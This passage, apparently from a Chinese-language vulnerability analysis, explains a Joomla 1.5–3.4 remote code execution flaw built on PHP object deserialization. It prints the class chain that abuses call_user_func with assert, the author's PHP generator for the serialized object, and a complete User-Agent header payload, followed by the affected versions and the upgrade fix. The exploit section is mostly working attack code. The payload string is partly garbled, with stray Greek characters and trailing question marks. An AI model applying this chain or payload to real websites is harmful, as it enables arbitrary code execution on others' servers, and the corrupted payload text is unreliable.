這里我們用同樣的方法,在session進入數據庫的時候就截斷后面的內容,避免對我們反序列化過程造成影響。
0x02 構造POP執行鏈,執行任意代碼
在可以控制反序列化對象以后,我們只需構造一個能夠一步步調用的執行鏈,即可進行一些危險的操作了。 exp構造的執行鏈,分別利用了如下類:
- JDatabaseDriverMysqli
- SimplePie
我們可以在JDatabaseDriverMysqli類的析構函數里找到一處敏感操作:
#!php
public function __destruct()
{
$this->disconnect();
}
...
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
當exp對象反序列化后,將會成為一個JDatabaseDriverMysqli類對象,不管中間如何執行,最后都將會調用__destruct
,__destruct
將會調用disconnect
,disconnect
里有一處敏感函數:call_user_func_array
。
但很明顯,這里的call_user_func_array
的第二個參數,是我們無法控制的。所以不能直接構造assert+eval來執行任意代碼。
于是這里再次調用了一個對象:SimplePie類對象,和它的init方法組成一個回調函數[new SimplePie(), 'init']
,傳入call_user_func_array
。 跟進init方法:
#!php
function init()
{
// Check absolute bare minimum requirements.
if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
{
return false;
}
...
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;
if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
很明顯,其中這兩個call_user_func將是觸發代碼執行的元兇。 所以,我將其中第二個call_user_func的第一個參數cache_name_function,賦值為assert,第二個參數賦值為我需要執行的代碼,就構造好了一個『回調后門』。
所以,exp是怎么生成的?給出我寫的生成代碼:
#!php
<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
echo serialize($a);

將這個代碼生成的exp,以前面提到的注入『|』
的變換方式,帶入前面提到的user-agent中,即可觸發代碼執行。 其中,我們需要將char(0)*char(0)
替換成\0\0\0
,因為在序列化的時候,protected類型變量會被轉換成\0*\0name
的樣式,這個替換在源代碼中也可以看到:
#!php
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
構造的時候遇到一點小麻煩,那就是默認情況下SimplePie是沒有定義的,這也是為什么我在調用SimplePie之前先new了一個JSimplepieFactory的原因,因為JSimplepieFactory對象在加載時會調用import函數將SimplePie導入到當前工作環境:

而JSimplepieFactory有autoload,所以不再需要其他include來對其進行加載。 給出我最終構造的POC(既是上訴php代碼生成的POC):
#!php
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"ρhιτhσπpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}e???
給一張代碼成功執行的POC:

0x03 影響版本 & 修復方案
1.5 to 3.4全版本
更新到3.4.6版本